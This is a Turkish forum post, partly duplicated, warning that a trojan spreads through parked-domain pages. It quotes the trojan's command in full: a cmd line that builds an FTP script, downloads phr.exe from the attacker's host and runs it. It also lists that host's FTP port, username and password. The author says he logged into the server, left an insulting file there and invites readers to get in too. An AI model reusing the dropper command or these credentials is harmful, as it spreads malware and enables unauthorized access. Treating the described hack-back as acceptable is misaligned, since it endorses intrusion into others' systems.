Adam Domainini Park ediyor, Park Eden Trojan için kullanıyor 
Trojanın kullandıgı Ftp adresini ve kime ait oldugunu bulup ( şifreleriyle beraber )
ftp adresine baglandım ve içine malum bir küfür dökümanı braktım .
Kardeşim Domain adınızı park etmeyin. güvenmediğiniz yerlerden Host almayın
Dns adınızı alt domainle böyle işler için kullanırlar.
virus yada trojan web sayfasından bulaşıyor bu domain park edildi flan falan yazan yerden .
avg bir tanesini tanıdı . digerini tanımıyor. (phr.exe dosyasını açmayın tanımıyor)
kullandıgı bir cok domain var bu 1 tanesi
isteyen girip trojanı incelesin
domain : phr3akftp.DARKSENSUI.INFO
kullandığı port : 612 - ftp için
kullanıcı : phr
şifresi : klopklop
Trojan virüsünün kullandıgı komut :
domain sahipleri başka başka biri ingilterede . biri new york dışında domain sahiplerinin bir suçu oldugunu sanmıyorum kanımca dns server kimin elinde ise o yapıyor bunları.
Bu domain' in name serverleri bunlar kimdir nedir bilen buraya yazıversin
benim hiç işim olmadı bu serverle tanımam
Name ServerARK5.SECURESERVER.NET
Name ServerARK6.SECURESERVER.NET
biraz karışık bir yazı oldu bir yandan trojanla kovalaşıyoz
Trojanın kullandıgı Ftp adresini ve kime ait oldugunu bulup ( şifreleriyle beraber )
ftp adresine baglandım ve içine malum bir küfür dökümanı braktım .
Kardeşim Domain adınızı park etmeyin. güvenmediğiniz yerlerden Host almayın
Dns adınızı alt domainle böyle işler için kullanırlar.
virus yada trojan web sayfasından bulaşıyor bu domain park edildi flan falan yazan yerden
.avg bir tanesini tanıdı . digerini tanımıyor. (phr.exe dosyasını açmayın tanımıyor)
kullandıgı bir cok domain var bu 1 tanesi
isteyen girip trojanı incelesin
domain : phr3akftp.DARKSENSUI.INFO
kullandığı port : 612 - ftp için
kullanıcı : phr
şifresi : klopklop
Trojan virüsünün kullandıgı komut :
Kod:
cmd /c echo open phr3akftp.darksensui.info 612 >appmr.dll &echo user phr klopklop >>appmr.dll &echo binary >>appmr.dll &echo get >>appmr.dll &echo phr.exe >>appmr.dll &echo phr.exe >>appmr.dll &echo bye >>appmr.dll &ftp.exe -n -s:appmr.dll &del appmr.dll &phr.exeBu domain' in name serverleri bunlar kimdir nedir bilen buraya yazıversin
benim hiç işim olmadı bu serverle tanımam
Name Server
ARK5.SECURESERVER.NETName Server
ARK6.SECURESERVER.NETbiraz karışık bir yazı oldu bir yandan trojanla kovalaşıyoz